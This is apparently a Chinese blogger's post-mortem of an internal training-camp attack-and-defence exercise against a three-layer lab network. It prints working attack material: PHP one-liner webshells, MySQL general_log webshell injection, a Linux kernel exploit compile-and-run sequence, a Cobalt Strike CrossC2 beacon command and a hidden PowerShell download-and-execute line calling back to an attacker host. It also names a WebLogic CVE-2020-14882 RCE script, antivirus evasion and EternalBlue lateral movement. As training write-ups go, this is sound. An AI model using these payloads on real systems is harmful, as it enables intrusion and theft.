2024训练营内部网络安全攻防演练复盘
前言
经过为时五天的渗透实战培训,在最后一天举行了一场内部小型攻防演练。虽然说形式较为简陋,但也是我参与的第一场实战。赛后不禁感慨,网安之路博大精深,单单CTF离实战还有很长的距离。就像博主本以为走的Web方向,学习渗透应该绰绰有余,实则不然。在具体的攻防演练中,有关Web的知识无非就是文件上传,日志注入get shell,中间件注入等。但这些最多只能让你拿到一台内网机器的权限,而要如何提权,绕过杀软,横向攻击,打穿内网等又涉及到很多在CTF中接触不到的Web深层知识、计算机网络组成、繁杂的工具使用甚至还有二进制。总之,这次攻防演练是很有复盘一遍的必要的,现此编撰本文。
准备
在开放靶场前,训练营放出了大致的靶机拓扑图。
可以看到,靶场分为三层。在拿下第一层的任意一台主机权限后,都需要进行端口扫描,探测深一层次的内网主机。但是这部分内容由于我们先前从未训练过,所以在有限的时间内进展不太理想。不过第一层的三台主机倒是全部被轻松拿下(存疑),最后也是扫描到了第二层的机器并发现系统存在永恒之蓝漏洞,虽然没有足够的时间去利用漏洞破解,但是能够做到这么多笔者也已经十分满足了。
比赛开始前,选手需要手动配置IP,连接靶场。
做好准备后,渗透之旅就正式开始了。
开始渗透
首先比赛给出了三个分配的IP:
192.168.110.101 |
需要注意的是这三个IP并不像CTF环境一样都可以直接打开。因为比赛只给出了靶机的IP地址,并未给出通信端口。一般的http通信都是默认使用80端口,但靶场IP并不一定使用默认端口,所以此时如果直连IP靶场可能会无法打开。所以,我们需要对IP段进行扫描,常见的工具有nmap或者fscan。
扫描结果如上,可知连接的URL应为:
http://192.168.110.101:8080/ |
信息收集结束,接下来针对具体的靶机进行攻击。
靶机一
弱口令
第一个靶机是一个用WordPress搭建的个人博客。使用dirsearch进行扫描,可以发现/wp-login.php
。访问之,是一个登录界面。
像这种没有回显的登录界面,基本可以排除SQL注入了。我的猜测是弱口令,实际上除了弱口令爆破,还可以去查询博客的默认密码。猜测用户名admin,密码123456,成功进入后台。(ps:笔者当时猜的是12345,没过就放弃了转而用bp爆破,结果愣是直到下午才进去)
植入webshell
进入后台后,分析页面可以来到博客的外观编辑器下,可以直接写入PHP代码,于是写入一句话木马<?php fputs(fopen('shell.php','w'),'<?php eval($_REQUEST['shell']); phpinfo(); highlight_file();?>');?>
完成注入。
由于写入的模块是comment.php
,需要在主页加载一次评论区后才能成功执行,然后再访问/wordpress/shell.php
,可以看到成功写入webshell。
接下来再用蚁剑连接webshell即可获得该台靶机权限。
这里其实出了一点小插曲,在我们植入webshell后,手动RCE可以成功执行,但是蚁剑却无法连接,并且回显报错为“DEPTH_ZERO_SELF_SIGNED_CERT”
。一开始我猜测是蚁剑获得权限所用的函数被机器禁用了,但是随后查阅资料得知是因为该靶机证书不可信,导致蚁剑连接失败。在蚁剑的“其他设置”下勾选“忽略HTTP证书”即可。
连接到靶机后,在蚁剑开启虚拟终端,输入whoami
指令回显deamon
。并不是最高权限,也就是说此处需要提权到root。
Linux提权
同样在虚拟终端下,输入指令uname -a
来获取机器的详细信息,目的是查询机器使用的linux内核版本号,然后再根据版本号去搜索相应的漏洞脚本。这里机器回显linux内核版本号是3.13.0。
获取到版本号后,再去kali中执行命令searchsploit 3.13.0
搜索相关内核版本的提权源码。当然也可以去网上找,但内容和kali中的脚本基本上是一样的。
uname -a |
这里我们可以使用脚本37292.c
,依次输入以下指令即可。
locate linux/local/37292.c //获取脚本路径 |
之后,通过蚁剑将脚本上传至靶机tmp
目录下,打开虚拟终端,依次使用以下指令编译和执行脚本。
gcc 37292.c -o exp //编译文件,生成可执行exp脚本 |
可以看到此时我们的用户权限成功变为root,然后再修改机器密码登录服务器即可拿下靶机一。
修改密码 |
成功拿下入口一。
接着生成Linux上线木马。
./genCrossC2.Linux 192.168.110.64 443 .cobaltstrike.beacon_keys null Linux x64 ./shell.out |
完成。
小小结
总结靶机一的渗透思路,首先用弱口令进入后台,然后更改模板写入webshell,用蚁剑连接获得命令执行权。再在蚁剑中打开虚拟终端,进行信息搜集后利用现有poc进行提权操作,最后修改服务器密码获得控制权。
实际上笔者在提权脚本那一步就出现了问题,同样的脚本,用gcc编译后赋权执行,我的靶机却报错sh: 0: can't access tty; job control turned off
导致exp无法正常提权,于是便卡在了这一步。即使赛后笔者也百思不得其解,希望以后有大佬能浇浇。
靶机二
进入靶机,可以得到以下界面。
这里在获取到主机权限前,有两种解法。
解法一
数据库弱口令
通过御剑扫描器扫描后台,发现/phpmyadmin
页面。尝试访问,页面是一个数据库登录界面。
同样的,使用弱口令进行绕过,用户名与密码均为root
成功登录后台。
植入webshell
在SQL查询页面中,可以直接执行以下命令即可日志getshell,前提是需要root权限和绝对路径写入权限。
set global general_log = on;//开启全局日志记录 |
其实还有一个看似不那么重要却十分致命的问题:我们如何获取数据库的文件路径?
切到先前的php探针界面,这里已经列出了数据库的绝对路径,顺便告诉了我们靶机系统是windows。
这种方法可以称为慢日志查询。实际上使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
show global variables like '%long_query_time%';//查询系统时间 |
这里没有修改时间就直接注入了,也许是环境系统时间不为10秒,又或者是已经被修改,总之如果有一个十秒的限制可以把一句话语句改写如下。
select '<?php @eval($_POST[1]);?>' or sleep(11);//延时11秒 |
写入成功后,访问日志文件/shell.php
。
可以看到一句话已经成功被执行,接下来用蚁剑连接webshell即可。
解法二
YXcms弱口令
访问/yxcms
可以进入到一个yxcms内容管理系统下的界面,并且不难发现登录界面。
弱口令admin/123456直接进入后台。
植入webshell
和靶机一一样在前台找到模板管理,编辑index_index.php
写入一句话木马即可。
软件免杀
蚁剑上线后输入whoami
查看用户权限。
可以看到我们的权限是system,出道即巅峰。但是既然不需要提权,那么一定还有高手。
尝试命令执行powershell上线。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.110.64:80/index'))" |
上线失败,猜测有杀毒软件拦截。
还真有,万恶的火绒:)
尝试执行删除竟然还失败了,nnd我的系统权限是假的吗???
无奈,只好对shell进行免杀绕过杀软(字面意义),上传免杀程序。
执行exe文件后成功上线。
小小结
这道题的思路和靶机一有点区别,通过弱口令进入后台植入webshell。如果是数据库注入则利用慢日志写入一句话,如果是YXcms后台则和靶机一相同修改模板植入webshell。蚁剑连接webshell后,虽然是最高权限不需要进行提权,却需要绕过火绒进行免杀操作,这里需要制作免杀程序,笔者作为web手确实是第一次接触。
和靶机一一样,笔者在进行到蚁剑连接webshell步骤时就遇到了问题。在蚁剑开启虚拟终端后,命令行直接报废显示指令cmd
不存在。
这一错误直接导致笔者在靶机二上栽了,所幸队友可以正常连接蚁剑,所以他们制作出了免杀马并进行了后续一系列操作。虽然笔者也根据ashelp
命令的提示,执行ascmd C:\Windows\System32\cmd.exe
恢复了一部分cmd的功能,但是权限仍然低的离谱,缺乏whoami
,ipconfig
等一系列指令,基本上没啥用。
赛后笔者复盘,根据老师的提醒应该是进行慢日志注入时没有执行set global general_log = off;
关闭全局日志,导致蚁剑连接期间日志仍然在不断写入,产生大量脏数据。但是队友和我连的是同一个马,为什么他的蚁剑就可以正常执行呢?不知道,希望大佬浇浇(doge)。
靶机三
连接靶机,注意端口,否则打不开网站。
找不到图了所以网上找了张代替下。
可以看到是WebLogic Server的后台登录界面。
利用POC直接RCE
直接上网查找相应的漏洞,说实话现成的poc还蛮多的,又是绕过认证登录后台,又是任意命令执行的。这里贴出我在网上找到的一个现成的poc脚本,可以直连url进行RCE。
#!/usr/bin/env python3 |
执行格式如下。
python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami |
虽然如此,因为权限太低,即便可以实现RCE,对于一些敏感文件目录连读权限都没有,更别说写入木马了(起码我不知道怎么用RCE写入木马)
使用工具LiqunKit进行扫描,可以看到LiqunKit成功写入了webshell,但是它却没给webshell的密码!这下子出现了滑稽的一幕,我们植入了webshell,却不知道webshell写的啥,无法用蚁剑连接1进行进一步提权操作。(太菜了555大佬打轻点)
直到比赛下午临时休息,不知道为什么那边下线了靶场,重新修改后上线删除了靶机三,我们也就没有机会继续深入了,对WebLogic的挖掘也止步于此,问题不了了之。
小小结
靶机三是三台主机中唯一一台只拿下了部分权限的机器,因为后续下线的原因导致思路中断,也没有机会进一步验证操作尝试植入webshell以及提权操作。
有关WebLogic Server的漏洞网上有很多资料,虽然可以免登录绕过直接进入后台,但是权限低的离谱什么都干不了;虽然可以根据poc进行RCE,但是权限不够不知道该如何写入webshell(或者说不知道怎么把webshell写入到我们能够访问的路径下);虽然可以利用LiqunKit工具进行getshell,但是因为不熟悉工具不知道该如何利用webshell。网络上的普遍解法是利用弱口令登录后台,修改配置后结合RCE写入webshell,但是后台的弱口令我们没爆出来qwq。所以,这题也就只能留待以后解决了,希望大佬浇浇。
横向攻击
以上介绍的都是如何夺取第一层的靶机权限,实际上在夺取任意一台靶机权限后,就可以深入内网进行横向攻击了。但是由于我们对此方面并不熟悉,所以大部分时间都花在打第一层靶机上了(提权、免杀)。所以这里只简单的介绍一下我们横向攻击的进展,实质上并没有完成全部的流程,不过如果时间足够的话,应该是可以夺取第二层靶机的权限的(实际上队友后来复现时也确实成功了)。
扫描端口/代理访问
大概的思路是,将nmap或者fscan传入已经夺取权限的内网靶机中,然后开启端口扫描查看是否有可以端口通信,如果有就有可能是内网第二层靶机。之后就可以通过第一层靶机的IP代理访问第二层靶机,进行分析。
利用fscan扫描端口,发现455端口开放且为win7系统,确认是永恒之蓝漏洞。
攻击漏洞
之后再启动metaspoilt,利用攻击模块对漏洞进行攻击。
最后右键提权提取明文密码,然后windows用代理和账号密码远程控制桌面拿下第二层。
小小结
在拿下内网中任意一台机器的权限后,就可以进行横向攻击打深层的内网机器了。基本的思路是先利用fscan等工具扫描已取得权限的内网机器通信端口寻找深层内网机器,再通过第一层内网机器的代理访问其他内网机器,然后特征分析得到漏洞,再用工具打下第二层机器,更深层机器以此类推。
关于横向攻击的部分笔者写的较为简略,主要是因为队友复现时笔者不在旁边,没有记录下完整的过程,所以并不能保证思路正确。注入如何利用metaspoilt攻击永恒之蓝漏洞,我就无法说明了,只能记载下简单的思路和结果。
小结
那么到这里,比赛的复盘终于到了尾声。可以看到,直到现在其实笔者还是存在不少问题。比如莫名其妙的报错、WebLogic的漏洞利用、横向攻击的知识缺失、工具的使用不熟练等都还未得到解决。最典型的就是CobaltStrike,对于这种最基本的代理工具与渗透利器笔者掌握的还是不够。在笔者还在手动getshell的时候,队友已经在用C2自动投递Webshell了。
通过这次攻防演练,笔者充分认识到了自己在知识方面存在的漏洞与欠缺,在渗透实战方面尤为严重,而这些是在平时的CTF中根本接触不到的。希望通过这次比赛,以后能够加强这方面顶点训练。
那么以上,作为一个初学者小白的思考,这些思路可能过于幼稚与低级,甚至还有诸多错误遗漏,还望大佬指出纰漏之处,以及轻喷qwq。
参考
- MYSQL写入Webshell - Display_x - 博客园 (cnblogs.com)
- Weblogic渗透测试指南
- 对蚁剑的相关改造及分析-安全客 - 安全资讯平台 (anquanke.com)
- fscan安装以及使用-CSDN博客
- 内网渗透系列:横向渗透方法小结_av9090-CSDN博客
- 权限提升之——windows提权_windows 提权 无法执行cmd命令-CSDN博客
- Linux手动提权,万字基础详细教程以及经验分享_linux/local/37292.c-CSDN博客
- Win7经典漏洞永恒之蓝复现_win7漏洞复现实例-CSDN博客
- 有道云笔记 (youdao.com)
- 客户端连接报错:“code”:“DEPTH_ZERO_SELF_SIGNED_CERT” · Issue #337 · AntSwordProject/antSword · GitHub
- 最详细Linux提权总结(建议收藏) - 随风kali - 博客园 (cnblogs.com)
- Linux提权第一篇-Linux内核漏洞提权(以CVE-2015-1328为例)_linux内核提权靶场环境-CSDN博客
- 提权,远程连接控制目标。_连接蚁剑后要想虚拟终端命令执行如何权限提升-CSDN博客
尾声
在进行横向攻击时,队友错误的把双网卡的攻击机当成了内网的第二层机器,把自己打了下来()。
还有高手传马时绕不过杀软,在本地测试时却绕过了自己电脑的火绒()。